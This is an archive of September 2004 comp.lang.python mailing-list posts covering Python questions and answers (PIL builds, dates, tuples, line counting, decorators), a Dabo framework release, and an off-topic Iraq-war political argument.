http://effbot.org/zone/pil-errata-114.htm Regards, Satchit ---- Satchidanand Haridas (sharidas at zeomega dot com) ZeOmega (www.zeomega.com) Open Minds' Open Solutions #20,Rajalakshmi Plaza, South End Road, Basavanagudi, Bangalore-560 004, India daniele wrote: > i got this errors while executing the command 'python setup.py build' > in PIL installation: > > _imagingtk.c:23: error: syntax error before '*' token > _imagingtk.c:31: error: syntax error before "Tcl_Interp" > _imagingtk.c:31: warning: no semicolon at end of struct or union > _imagingtk.c:32: warning: data definition has no type or storage class > _imagingtk.c: In function `_tkinit': > _imagingtk.c:37: error: `Tcl_Interp' undeclared (first use in this > function) > _imagingtk.c:37: error: (Each undeclared identifier is reported only once > _imagingtk.c:37: error: for each function it appears in.) > _imagingtk.c:37: error: `interp' undeclared (first use in this function) > _imagingtk.c:45: error: syntax error before ')' token > _imagingtk.c:50: error: `app' undeclared (first use in this function) > _imagingtk.c:50: error: syntax error before ')' token > _imagingtk.c: At top level: > _imagingtk.c:55: warning: parameter names (without types) in function > declaration > _imagingtk.c:55: error: conflicting types for `TkImaging_Init' > _imagingtk.c:23: error: previous declaration of `TkImaging_Init' > _imagingtk.c:55: warning: data definition has no type or storage class > _imagingtk.c:57: error: syntax error before '&' token > error: command 'gcc' failed with exit status 1 > > where is the problem? > daniele From hecvillaf at yahoo.com Thu Sep 30 18:55:53 2004 From: hecvillaf at yahoo.com (Hector Villafuerte) Date: 30 Sep 2004 15:55:53 -0700 Subject: Day of Year Behaviour Message-ID: Hi all! I have 2 fields: YEAR DAY_OF_YEAR and I need to get the complete date out of this, e.g.: YEAR=2004 DAY_OF_YEAR=1 -> DATE=2004/Jan/1 YEAR=2004 DAY_OF_YEAR=33 -> DATE=2004/Feb/2 I'm using the time module without success: >>> time.localtime(time.mktime((2004, 0, 0, 0, 0, 0, 0, 1, 0))) (2003, 11, 30, 0, 0, 0, 6, 334, 0) Any suggestions? Thanks in advance! Hector Villafuerte From aleaxit at yahoo.com Sat Sep 11 09:34:19 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 11 Sep 2004 15:34:19 +0200 Subject: Nested class structures References: Message-ID: <1gjyg86.h447z2mlz6joN%aleaxit@yahoo.com> Diez B. Roggisch wrote: ... > The only thing that comes to my mind is to create the classes from strings > you exec - that will allow you to captur the class before redefining it: You can capture before redefining without any need to exec: >>> class outside: ... anons=[] ... class anon: ... def method1(self): return 'the first' ... anons.append(anon) ... class anon: ... def method1(self): return 'the second' ... anons.append(anon) ... class anon: ... def method1(self): return 'the third' ... anons.append(anon) ... del anon ... >>> for c in outside.anons: print c().method1() ... the first the second the third >>> > Apart from that, I don't see any way to accomplish this - and for good > reasons: classes as well as functions are only declarations - that means No way! Classes as well as functions are perfectly fine objects. Python has no 'declarations'. > that they are stored in a sort of symbol table. And as there is no such > thing like an order of declartions, the only thing to access them is their These is no such thing as "an order of declarations" because there are no such things as declarations. There are statements, and of course there is an order of them, including the two, def and class, most popularly used to create functions and classes respectively. Generally, Python collects names and their correspondence to objects in a dictionary, and a dictionary indeed has no ordering, so there is no trace left of the order in which the names were added to the dictionary (except that a name->value correspondence added later tramples over any that might have been added earlier for that same name). Which is why I'm using a list, and calls to its append method, in the above example. > The question is: _why_ do you want to do this? How do you want to access the That is indeed totally mysterious to me. I have a decent grasp of what can be done, but sometimes the deeper question of why anybody might ever possibly want to do it escapes me totally, and this is such a case. Alex From kirk at eyegor.jobsluder.net Sun Sep 19 21:46:54 2004 From: kirk at eyegor.jobsluder.net (Kirk Job-Sluder) Date: Mon, 20 Sep 2004 01:46:54 GMT Subject: python vs c# References: Message-ID: On 2004-09-20, julio wrote: > Istvan Albert wrote: > >> go away, troll > > Nice argument. An accurate one though, but I'm feeling bored. > And my the facts are not just about ides, as i mentioned in the original > mail. Is people so close minded to resist change ? things change , is > human's nature to resist the change. What are you advocating for? Better IDEs, or abandoning python? You've complained a lot, but you have not really said much about how the people who use python should change. But why are you so closed minded to resist the possibility that many people find python to be *a* solution for the problems that *they* solve. I mean, if you don't like working with python, go forth, find a language you love, marry it, and make lots and lots of happy programs. Why complain about the relationship other people have with their favorite programming languages? -- Kirk Job-Sluder "The square-jawed homunculi of Tommy Hilfinger ads make every day an existential holocaust." --Scary Go Round From bokr at oz.net Sun Sep 5 03:08:11 2004 From: bokr at oz.net (Bengt Richter) Date: 5 Sep 2004 07:08:11 GMT Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> <1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com> <1094359182.57429@yasure> Message-ID: On Sun, 05 Sep 2004 04:39:43 -0000, "Donn Cave" wrote: >Quoth aleaxit at yahoo.com (Alex Martelli): >| Donn Cave wrote: >| ... >|> On the other hand, we normally use tuples for data that >|> is meaningful only when it's intact. The (key, value) >| >| So by this argument len(t) should not work if t is a tuple... > >I expect it's used relatively infrequently, and for different >reasons. "if len(info) == 5", for example - just from that >line from a relatively popular Python application, would you >guess info is a list, or a tuple? > >| I've never accepted the BDFL's explanations on what tuples are for; like >| Python beginners I use them as immutable lists (to index into a >| dictionary or be set members) and curse their lack of useful methods. >| >| > pair that comes back from dict.items(), for example. Each >| > value may very well be a string, but the sequence is not >| > homogeneous in the sense we're talking about, and index() >| > is not useful. >| >| Even for a pair I sometimes like to know if 42 is the key, the value, >| or neither. index is handy for that... but not if the pair is a tuple, >| only if it's a list. Rationalize as you will, it's still a Python wart. > >Maybe the problem is that tuples have too many features already. >It's sort of silly that they're indexed by number, and if that >weren't allowed, we would find fewer people trying to make lists >of them. > >| Pseudotuples with NAMED (as well as indexed) arguments, as modules stat >| and time now return, may be a different issue. Not sure why we never >| made declaring such pseudotuples as usertypes as easy as it should be, a >| custom metaclass in some stdlib module shd be enough. But tuples whose >| items can't be named, just indexed or sliced, just are not a good fit >| for the kind of use case you and Guido use to justify tuple's lack of >| methods, IMHO. > >There you go, they shouldn't be indexed or sliced, that's right! >Named attributes would be nice, but otherwise you use pattern >matching (to the extent support in Python -- key, value = item.) >Makes for more readable code. > How about just named read-only but redefinable views? E.g., >>> class TV(tuple): ... """tuple view""" ... _views = {} ... def __getattr__(self, name): ... try: return tuple.__getitem__(self, self.__class__._views[name]) ... except KeyError: raise AttributeError, '%s is not a tuple view.' %name ... def __setattr__(self, name, ix): ... self.__class__._views[name] = ix ... def __delattr__(self, name): del self.__class__._views[name] ... >>> t=TV(range(3,10)) >>> t (3, 4, 5, 6, 7, 8, 9) >>> t.a Traceback (most recent call last): File "", line 1, in ? File "", line 6, in __getattr__ AttributeError: a is not a tuple view. >>> t.a = 3 >>> t.a 6 >>> t.b = slice(4,6) >>> t.b (7, 8) >>> del t.a >>> t.a Traceback (most recent call last): File "", line 1, in ? File "", line 6, in __getattr__ AttributeError: a is not a tuple view. >>> t (3, 4, 5, 6, 7, 8, 9) >>> t.a = slice(None,None,-1) >>> t.a (9, 8, 7, 6, 5, 4, 3) Of course, with the views in the class's _views dict, further instances share previous definitions: >>> t2 = TV('abcdefg') >>> t2 ('a', 'b', 'c', 'd', 'e', 'f', 'g') >>> t2.a ('g', 'f', 'e', 'd', 'c', 'b', 'a') >>> t2.b ('e', 'f') You could generalize further with properties defining whatever viewing function you want, of course. Regards, Bengt Richter From sholden at holdenweb.com Wed Sep 1 11:53:13 2004 From: sholden at holdenweb.com (Steve Holden) Date: Wed, 01 Sep 2004 11:53:13 -0400 Subject: Xah Lee's Unixism In-Reply-To: <4135cea1$0$19726$61fed72c@news.rcn.com> References: <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <4134AC88.56452265@yahoo.com> <4135cea1$0$19726$61fed72c@news.rcn.com> Message-ID: <%hmZc.17354$ni.569@okepread01> jmfbahciv at aol.com wrote: > In article , > red floyd wrote: > >>CBFalconer wrote: >> >> >>>Dump Notepad and get Textpad. www.textpad.com. First class. >>> >> >>Let the editor flame wars begin! >> >>Get gvim! www.vim.org > > > You think notepad is an editor? You must be young > and inexperienced in the ways of Real Man's Editing sports. > My choice? Definitely TECO, a real programmable editor from the TOPS10 days. It would create a file if invoked by the "make" command. If you typed "make love" it would respond with "...not war?" before beginning the edit. regards Steve From carribeiro at gmail.com Fri Sep 3 15:14:33 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 3 Sep 2004 16:14:33 -0300 Subject: Question: tools for business apps development Message-ID: <864d3709040903121436529e29@mail.gmail.com> Hello all. I'm in the process of writing a business app in Python. (defining business app: data entry, validation, interactive reports, etc). For my purposes, it must be a native app (wxWidgets, GTK or Qt-based). A web application will not do it (although I would love it). To make a long history short: I used to develop business apps for a living for a long time (up to the mid 90s). My last experiences were with Delphi and VB. I know Python, but all projects I've done were either scripts for sysadmin work, or were networking related (I did SNMP, NetFlow, and a few web apps, also). Now, a friend of mine asked me to write a new app for his company, and a I suggested doing it in Python. I am limited to free tools only, by definition. So I collected a few questions that I would like to ask here. -- Which IDEs are better suited for business apps? I use PythonWin for most of my scripting work in Windows. On occasion, I edit in PythonWin or SciTE and run using the command line interpreter. I've downloaded Boa and PythonCard, and while both work (to a reasonable degree), I found both lacking for a RAD style development cycle. Are these tools being used for production code? -- Which free design tools are being actively used for business app development? (includes database-design, UML, etc). There are many tools available around, but most seem to be abandoned, or were used for some specific task and never touched again. I would like to know more about what is actually being used in production environments. Thanks in advance for any answer. Best regards, -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From noone at here.com Thu Sep 30 01:10:35 2004 From: noone at here.com (M. Clift) Date: Thu, 30 Sep 2004 06:10:35 +0100 Subject: List rotation References: Message-ID: Hi Steven, Sorry, as I'm a beginner I don't think I should have used the title rotate list, as that's not what I want. If the list ('a', 'd', 'b', 'a', 'd', 'c', 'b') was rotated once it would of course give('d', 'b', 'a' etc... What I'm looking for is that say if trans = 1, then the list would become ('b', 'a', 'c', 'b', 'a', 'd', 'c') . For trans = 3 the list would be ('d', 'c', 'a', 'd', 'c', 'b', 'a') items = ('a', 'b', 'c', 'd') items + 1 = ( 'b', 'c', 'd', 'a') items + 2 = ( 'c', 'd', 'a', 'b') items + 3 = ( 'd', 'a', 'b', 'c') trans = 1 list = ('a', 'd', 'b', 'a', 'd', 'c', 'b') I can think of the long/wrong way to do it as shown for trans = 3, but there must be some simpler idea. for idx in range(len(items)): if list[idx:idx + 1] == ['a']: list[idx:idx + 1] = ['d'] if list[idx:idx + 1] == ['b']: list[idx:idx + 1] = ['a'] From ed at leafe.com Wed Sep 22 08:17:57 2004 From: ed at leafe.com (Ed Leafe) Date: Wed, 22 Sep 2004 08:17:57 -0400 Subject: [ANN] Dabo 0.2 Released Message-ID: <700B4509-0C91-11D9-8C15-003065B11E84@leafe.com> We are pleased to announce Dabo 0.2, the second major release of our data application framework. The Dabo framework is a true 3-tier design, with data access and UI code separated from your business logic. And since it's Python, and uses wxPython for its UI, it is completely cross-platform, having been tested on Linux, Windows and OS X. Download from http://dabodev.com/download The new prerequisites are: Python 2.3 wxPython 2.5.2.7 or later We are encouraged by the response we've gotten so far from our earlier releases - there certainly seems to be a lot of interest in creating cross-platform data-intensive apps! We are continuing to move forward, and encourage anyone who is interested to join our mailing lists: dabo-users: for those interested in learning how to work with Dabo to create applications http://leafe.com/mailman/listinfo/dabo-users dabo-dev: for those interested in the ongoing development of Dabo http://leafe.com/mailman/listinfo/dabo-dev Here is a brief summary of what's new in Dabo 0.2: Dabo 0.2: Dabo now works with FireBird as well as MySQL databases. We've begun to add support for SQLite and PostgreSQL, but they won't be ready until 0.3. Database connection info is now saved with the passwords encrypted. Abstracted out the wxPython event model, greatly simplifying the binding and raising of events, as well as the definition of new events via subclassing. Improved unicode support. Code for Dabo applications has gotten more Dabo-like, and less wx-like, as Dabo has abstracted the UI much better. For example, it is not as necessary to add an 'import wx' statement in your code anymore. Added logger objects to send program output to, instead of directly to stdout. Began abstraction of Tkinter at purely an experimental level. Added some new controls, such as a better date control and a combo box. DaboDemo 0.2: We've created a new wizard for generating basic Dabo applications. Check it out at http://dabodev.com/wiki/AppWizard . The generated apps now save their configuration in standard XML files. There is a new visual editor for modifying these files and previewing your changes. See http://dabodev.com/wiki/FieldSpecEditor for more information. While Dabo is primarily aimed at creating database apps, it works great for apps that don't work with data, too. To illustrate this, there is now a game called 'Bubblet' included in the demo that is written in Dabo but doesn't connect to data. Added a Python code editor and dubbed it 'dEditor', located in the 'daboIDE' directory. This editor, based on Scintilla, features everything you'd expect: syntax coloring, auto-indent, zooming, line numbering, call tips, and auto-complete. It represents the beginning of an effort to bring a simple multi-platform IDE to Dabo, which will be a central place to work on Dabo-based projects. A project manager, a good set of editors (code, field specs, database definitions, report layouts, UI layouts, etc.), an interpreter, a debugger, and quick links to documentation will all be provided. It's a major undertaking; this is the first step in that direction. ___/ / __/ / ____/ Ed Leafe http://leafe.com/ http://dabodev.com/ From alban at magproductions.nl Tue Sep 21 09:53:14 2004 From: alban at magproductions.nl (Alban Hertroys) Date: Tue, 21 Sep 2004 15:53:14 +0200 Subject: Psycopg and threads problem In-Reply-To: References: <0fidnS729Ln4bdPcRVn-hQ@giganews.com> <414EF5BC.9010002@magproductions.nl> Message-ID: <4150324A.8090001@magproductions.nl> Istvan Albert wrote: > Alban Hertroys wrote: > >> I can't commit until all the data has been inserted and combined. The >> commit shouldn't happen until the end of the main thread is reached. > > > If you don't commit the inserts you cannot combine them (because they are > not visible) in a different database connection. I think you should That's why I use only one DB connection. ;) > have a commit at the end of your insert threads. That way > when all the inserts are finished the data will be available > for the combine thread. > > I might be wrong here but I think all this confusion arises because > psycopg pools database connections (which is a good thing, it speeds > up access). But then even when you seemingly open a new connection > you might be just reusing a db connection from the pool that was > started (and kept alive) before the inserts took place. Well, apparently you are :P Maybe I'm still not clear enough in explaining this 'little' problem of mine. The answers I got so far aren't entirely 'on track'. But thanks anyway. Alban. From eugene at boardkulture.com Mon Sep 6 14:54:40 2004 From: eugene at boardkulture.com ( EuGeNe ) Date: 6 Sep 2004 11:54:40 -0700 Subject: view http info when browsing References: <56d498d9.0409051725.1c7d3258@posting.google.com> <81a41dd.0409060529.48120530@posting.google.com> Message-ID: give www.debugbar.com a bash the trial version is fully functional and it is cheap From carribeiro at gmail.com Thu Sep 9 08:14:34 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Thu, 9 Sep 2004 09:14:34 -0300 Subject: Anyone know anything named DX? (was Re: Announcing PyCs) In-Reply-To: <2q55tcFrgjv1U1@uni-berlin.de> References: <20040901221925.2128958333.EP@zomething.com> <1stv02-qlp.ln1@home.rogerbinns.com> <2q55tcFrgjv1U1@uni-berlin.de> Message-ID: <864d3709040909051441e0f0a@mail.gmail.com> There are professional tools that go much farther than this -- they not only generate words, but also check: a) if the word has no offensive meaning on several languages (yes, it happens, and one has to be really careful); b) if the word is pronounceable for native speakers of different languages. It could potentially also check if the word was registered, but I don't know if they have done that still (it would need access to trademark databases that probably is not widely available). I once read a report from Gillete regarding the branding strategy used for its Mach product. They used this type of service to generate three good options for a worldwide brand, and selected Mach. I don't remember the other options but they were quite good sounding too. On Tue, 07 Sep 2004 03:26:48 -0400, Leif K-Brooks wrote: > Roger Binns wrote: > > I did actually send an email to Google labs suggesting they come > > up with an "naming" tool where you could suggest what style of > > name you wanted (eg scientific, Italian, computery) and it would > > generate random strings of that form with no entries in the > > index. They never responded. > > That actually wouldn't be very hard to do on your own. You'd just have > to get long word (phrase?) lists for each type of name (and maybe a > general list that'd be used for all types), then use Markov Chains to > generate a name from one of the lists. Then check how many results you > get from the Google API, and generate a new one if there are any. > > Maybe I'll try it next time I'm in the mood to code something random... > > > -- > http://mail.python.org/mailman/listinfo/python-list > -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From steven.bethard at gmail.com Mon Sep 13 16:47:47 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Mon, 13 Sep 2004 20:47:47 +0000 (UTC) Subject: Best way to compare the contents of two directories References: <95c29a5e.0409111640.6980271f@posting.google.com> <95c29a5e.0409131037.430cbce8@posting.google.com> <1095107566.26967.70.camel@devilbox.devilnet.internal> Message-ID: Cliff Wells comcast.net> writes: > > I think sets were added in 2.3, but either way you must still 'from sets > import Set' before using them. It also might be good to get in the habit of writing this as: from sets import Set as set so that when you move to Python 2.4, where set() is a builtin, all you have to do is remove the import. Python 2.4a3 (#56, Sep 2 2004, 20:50:21) [MSC v.1310 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> set(abs(2*i - 6) for i in range(10)) set([0, 2, 4, 6, 8, 10, 12]) Steve From __peter__ at web.de Tue Sep 7 04:40:07 2004 From: __peter__ at web.de (Peter Otten) Date: Tue, 07 Sep 2004 10:40:07 +0200 Subject: Secure delete with python References: <7xd60zf339.fsf@ruckus.brouhaha.com> <7xeklea6nb.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: > I think you're best off assuming that short of melting the platters, > there's no way to ever erase data from a hard drive, i.e. that a > sufficiently powerful attacker can recover every state that the drive > has ever been in. The solution is to write only encrypted data to the The german PC magazine c't has sent in hard disks overwritten once with zeros to data recovery firms. No data was recovered. So unless your opponent has secret service connections I'd say you are safe. He will rather watch your screen or log your keystrokes than mess with the hd - if he's not already in your WLAN that is. > has ever been in. The solution is to write only encrypted data to the > drive, and don't store the key on the drive. As a special case, avoid that the OS writes the key to disk while swapping. Peter From jbrandmeyer at earthlink.net Mon Sep 13 06:06:38 2004 From: jbrandmeyer at earthlink.net (Jonathan Brandmeyer) Date: Mon, 13 Sep 2004 06:06:38 -0400 Subject: confirm b9451b3d76ce30fe81f5538e3f12d6f8ee5986e9 In-Reply-To: References: Message-ID: <1095069998.11424.0.camel@illuvatar> On Mon, 2004-09-13 at 06:06, python-list-request at python.org wrote: > Mailing list removal confirmation notice for mailing list Python-list > > We have received a request for the removal of your email address, > "jbrandmeyer at earthlink.net" from the python-list at python.org mailing > list. To confirm that you want to be removed from this mailing list, > simply reply to this message, keeping the Subject: header intact. Or > visit this web page: > > http://mail.python.org/mailman/confirm/python-list/b9451b3d76ce30fe81f5538e3f12d6f8ee5986e9 > > > Or include the following line -- and only the following line -- in a > message to python-list-request at python.org: > > confirm b9451b3d76ce30fe81f5538e3f12d6f8ee5986e9 > > Note that simply sending a `reply' to this message should work from > most mail readers, since that usually leaves the Subject: line in the > right form (additional "Re:" text in the Subject: is okay). > > If you do not wish to be removed from this list, please simply > disregard this message. If you think you are being maliciously > removed from the list, or have any other questions, send them to > python-list-owner at python.org. From wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org Mon Sep 13 22:50:40 2004 From: wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org (SM Ryan) Date: Tue, 14 Sep 2004 02:50:40 -0000 Subject: Xah Lee's Unixism References: Message-ID: <10kcn40mkm43c8f@corp.supernews.com> # However, to answer your question: How does regime change in Iraq help # avoid another 9/11... # 1) It removes one of the states that might consider sponsing such a # future attach. Putting that in more mundane terms, if you walk around with loaded shotgun and gut shoot anyone you think might look funny at you, you will be safer. Ignores the possibility that the townsfolk might not like your attitude and arrange an ambush followed by a hanging as needed. # 2) It removes a state with the expertise of producing (not developing) # WMD that might be used in such an attack. We've found no WMD # stockpiles but we *have* found proof that Iraq retained the expertise # to produce WMD in the future. We still don't know if there are stockpiles. Leaving Israel, Iran, Pakistan, India, and Korea unmolested. There's a lot of expertise _and_ material floating around in Russa. A lot of those experts are now jobless with worthless pensions. If you want to talk about threats, it would Russians exporting material and experts across their southern border. That is a threat we can deal with: offer these people worthwhile pensions to keep their mouths shut. Buy fission materials from Russia. Pay off Russia. But we don't because that's too expensive. # 3) It demonstrates to other states in the region that they could have # a regime change in about a month's time if they allow themselves to be # in the position of being held accountable for any future attack. # Removing the Taliban was a much more ambiguous demonstration of this # since they had no real military and really weren't an organized state. With what army do you propose to invade Syria and Iran and Sudan and Korea? Taliban is regaining control in Afghanistan after the USA abandonned the war on terrorism to seek oil profits. Iraq is a tar baby. Saddam Hussein might be permanently out of the picture, but there's no reason yet to think that if Iraq does somehow become a democracy it will be friendly to the USA. # 4) Look at a map of the middle east. It provides us with a base of # operations in the center of the region. We probably won't have to ask # for access to bases and airspace in future operations, which hopefully # will never have to happen. A soveign Iraq has the right to demand the USA leave. Do you think Iraq wants to become a target of Al Qaeda the way Saudi Arabia has been simply for the honor of having USA soldiers in their country? # 5) It provides us with a second (ref: Afghanistan) shot at # establishing a pseudo-democracy in the region. Why not start with Jordan and Egypt? Those governments are already friendly to the USA and more suspectible to gentler persuasion than an invading army. Because they aren't sitting on a sea of oil to make it worthwhile. The Afghanistan central government is falling apart because the USA abandonned it and never did the hard work of nation building there. # 6) It underscores that 9/11 should go into the "bad idea" category for # future planners of Islamic extremist operations. Again only you and Dick Cheney believe Iraq had anything to do with terrorism. The real terrorist are back in Afghanistan laughing their butts off; they are safe today than two years ago because the USA abandonned the war on terrorism. The only terrorist organisation that had been operating in Iraq was in the northern fly zone outside of Saddam's control. These same terrorists are causing so much trouble now. These same terrorists the USA and Kurds could have dealt with a long time, except the USA needed to have a terrorist organisation in Iraq to provide a cause belli. # Before you respond saying that it increases the number of potential # terrorists that might carry out an attack, that may or may not be so. # But for such an attack to be carried out requires organization and # resources not just a bunch of pissed off people. It would require at The organisation was being dismantled. But now that the USA has abandonned the war on terrorism for the quagmire in Iraq, terrorists are reorganising. Ask Australians about their embassy remodelling. # You are being naive. Complain as loud as you like but there is no # question that the ability and demonstrated willingness to defend ones # self is the best deterrent to ever having to do so. Iraq was never a threat to the USA. Al Qaeda is, and the USA has abandonned the quest to end it or capture Osama bin Laden. -- SM Ryan http://www.rawbw.com/~wyrmwif/ I'm not even supposed to be here today. From FBatista at uniFON.com.ar Wed Sep 22 11:09:48 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Wed, 22 Sep 2004 12:09:48 -0300 Subject: Why not FP for Money? Message-ID: [Carlos Ribeiro] #- a report, it's fairly easy to have the wrong sum. If I remember it #- well, at some point Delphi's standard library could be customized to #- choose between two or three different rounding algorithms, including #- one called "banker's rounding", where exact half numbers would be #- converted to the closest even number. The goal was to make sure that Well, actually that's an issue, because the "banker's rounding" is not the same rounding in every country. That's why in Decimal you have a lot of roundings to choose. . Facundo From michaels at rd.bbc.co.uk Thu Sep 16 06:40:53 2004 From: michaels at rd.bbc.co.uk (Michael Sparks) Date: Thu, 16 Sep 2004 11:40:53 +0100 Subject: socket function that loops AND returns something References: Message-ID: Bryan Olson wrote: ... > Different servers have different needs, but when in doubt use > threads. Threading on the popular operating systems has > improved vastly in the last several years. Running a thousand > simultaneous threads is perfectly reasonable. If you want code to be portable this is false, and I'm amazed to see this claim on c.l.p to be honest. It's a fairly good way to kill a fair number of still well used OSs. Just because a handful of OSs handle threading well these days does not mean that you will end up with portable code this way. (Portable in that you get the same overall behaviour - not the simple concept of the code running) _Small_ numbers of threads are very portable I would agree, but not thousand(s). Best Regards, Michael. -- Michael.Sparks at rd.bbc.co.uk British Broadcasting Corporation, Research and Development Kingswood Warren, Surrey KT20 6NP This message (and any attachments) may contain personal views which are not the views of the BBC unless specifically stated. From danny_shevitz at yahoo.com Thu Sep 23 11:02:42 2004 From: danny_shevitz at yahoo.com (danny) Date: 23 Sep 2004 08:02:42 -0700 Subject: good way to do side effects on lists? References: <415208a1$1_4@news3.es.net> Message-ID: <85bc2819.0409230702.2a5c4ab5@posting.google.com> Michael Hoffman wrote in message news:... > But with all that set-up it's not really a one-liner. And what's wrong with > your first proposal anyway? Nothing is really wrong with it. I assume it runs a little slower than something native, and since it's inside a Monte Carlo code it may matter a little. Mostly it just feels like there should be a way to do it better. Danny From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Thu Sep 23 15:10:25 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Thu, 23 Sep 2004 20:10:25 +0100 Subject: incrementing a time tuple by one day In-Reply-To: References: Message-ID: Donn Cave wrote: > $ python > Python 2.2 (#1, 11/12/02, 23:31:59) > [GCC Apple cpp-precomp 6.14] on darwin > Type "help", "copyright", "credits" or "license" for more information. > >>>>import datetime > > Traceback (most recent call last): > File "", line 1, in ? > ImportError: No module named datetime The datetime module is new in Python 2.3. -- Michael Hoffman From aleaxit at yahoo.com Wed Sep 22 09:37:37 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 22 Sep 2004 15:37:37 +0200 Subject: How to count lines in a text file ? References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> <414eda06$0$26379$ba624c82@nntp02.dk.telia.net> <1gkf46r.1xrytm21mny6pfN%aleaxit@yahoo.com> Message-ID: <1gkiss6.1ycjzr21dhrf4pN%aleaxit@yahoo.com> Christos TZOTZIOY Georgiou wrote: ... > >memory at once. If you must be able to deal with humungoug files, too > >big to fit in memory at once, try something like: > > > >numlines = 0 > >for line in open('text.txt'): numlines += 1 > > And a short story of premature optimisation follows... Thanks for sharing! > def count_lines(filename): > fp = open(filename) > count = 1 + max(enumerate(fp))[0] > fp.close() > return count Cute, actually! > containing Alex' code. Guess what? My code was slower... (and I should > put a try: except Value: clause to cater for empty files) > > Of course, on second thought, the reason must be that enumerate > generates one tuple for every line in the file; in any case, I'll mark I thought built-ins could recycle their tuples, sometimes, but you may in fact be right (we should check with Raymong Hettinger, though). With 2.4, I measure 30 msec with your approach, and 24 with mine, to count the 45425 lines of /usr/share/dict/words on my Linux box (admittedly not a creat example of 'humungous file'); and similarly kjv.txt, a King James' Bible (31103 lines, but 10 times the size of the words file), 41 with yours, 36 with mine. They're pretty close. At least they beat len(file(...).readlines()), which takes 33 on words, 62 on kjv.txt... If one is really in a hurry counting lines, a dedicated C extension might help. E.g.: static PyObject *count(PyObject *self, PyObject *args) { PyObject* seq; PyObject* item; int result; /* get one argument as an iterator */ if(!PyArg_ParseTuple(args, "O", &seq)) return 0; seq = PyObject_GetIter(seq); if(!seq) return 0; /* count items */ result = 0; while((item=PyIter_Next(seq))) { result += 1; Py_DECREF(item); } /* clean up and return result */ Py_DECREF(seq); return Py_BuildValue("i", result); } Using this count-items-in-iterable thingy, words takes 10 msec, kjv takes 26. Happier news is that one does NOT have to learn C to gain this. Consider the Pyrex file: def count(seq): cdef int i it = iter(seq) i = 0 for x in it: i = i + 1 return i pyrexc'ing this and building the Python extension from the resulting C file gives just about the same performance as the pure-C coding: 10 msec on words, 26 on kjv, the same to within 1% as pure-C coding (there is a systematic speedup of a bit less than 1% for the C-coded function). And if one doesn't even want to use pyrex? Why, that's what psyco is for...: import psyco def count(seq): it = iter(seq) i = 0 for x in it: i = i + 1 return i psyco.bind(seq) Again to the same level of precision, the SAME numbers, 10 and 26 msec (actually, in this case the less-than-1% systematic bias is in favour of psyco compared to pure-C coding...!-) So: your instinct that C-coded loops are faster weren't too badly off... and you can get the same performance (just about) with Pyrex or (on an intel or compatible processor, only -- sigh) with psyco. Alex From pm_mon at yahoo.com Wed Sep 1 19:40:13 2004 From: pm_mon at yahoo.com (Paul Morrow) Date: Wed, 01 Sep 2004 19:40:13 -0400 Subject: Are decorators really that different from metaclasses... In-Reply-To: References: <412C09B4.5070106@yahoo.com> <412D9F1E.6000809@yahoo.it> Message-ID: Hallvard B Furuseth wrote: > Paul Morrow wrote: > >>Hallvard B Furuseth wrote: >> >>>Paul Morrow wrote: >>> >>>>I believe that we should think of assignments to __xxx__ attributes as >>>>not being part of the function's body, but instead part of its >>>>declaration, just as we do with its docstring. >>>> >>>> def circum(diameter): >>>> """This describe's foo.""" >>>> __author__ = 'Paul Morrow' >>>> __version__ = '0.1' >>>> __features__ = synchronized, memoized >>> >>> >>>I really, really don't like this idea. Assignment in Python has quite >>>enough pitfalls already. Please don't make it worse. If it looks like >>>an assignment to a local variable, it should be an assignment to a local >>>variable. >> >>Actually, these look like assignments to local *magic* variables. >>There's the difference. > > > No, that's not the difference. It's still different from how magic > variables behave in all other places. (Class bodies, module bodies, > object attributes). The difference is that magic variables in this > particular localtion is actually parsed differently from use of > variables other places, so the '=' operator (and what other operators?) > means something else. > Only the '=' operator, no others. They [*] would be parsed when the function definition is processed and then assigned to the function. Just as in the following, they are parsed when the class definition is processed and then assigned to the class. Nothing special happens in either case. Just names being added to a namespace. class Circle(Shape): """This describe's Circle.""" __author__ = 'Paul Morrow' __version__ = '0.1' __metaclass__ = M [*] the magic variables > >>The double underscores before and after each name loudly proclaims >>that these variables are not like 'normal' variables. They're special >>in some way. > > > No other magic variables are that special. They all behave normally _as > variables_. Other parts of Python react to them being set or reset, the > very variable assigments are quite normal. Except for the name mangling > of __*__ instance variables, but that is a lot smaller exception than > changing the namespace of the assignment operator and the time at which > that operator is executed. > Assignments that pertain to the definition of something are processed when the thing is defined. When used as I've been describing here, __xxx__ variables pertain to the definition of the function. Therefore, they are processed when the function is defined. That's the *right* time to process them. > >>>If we are going to invent a syntax for declaring function >>>attributes inside the function, why confuse the issue by making it look >>>like it does something else? >> >>Because 1) adding new syntax should be resisted as much as possible >>(IMO), > > > If one can extend old syntax in an intuitive way, it's fine to reuse old > syntax. When you extend old syntax to mean something counterintuitive, > it's far better to find a new syntax. And while it may seem intuitive > to you, you may have noticed that it seems counterintuitive to a lot of > others. > I have no idea how the lurkers feel about this. Maybe you are right. Maybe this only makes sense to me. > >>and 2) this style has parallels in both class definitions and >>module definitions. > > > It parallels them as long as you don't think of how it works. Once you > do think of how it works, it's completely different. And you get a lot > of subtle differences to confuse the issue. > You need 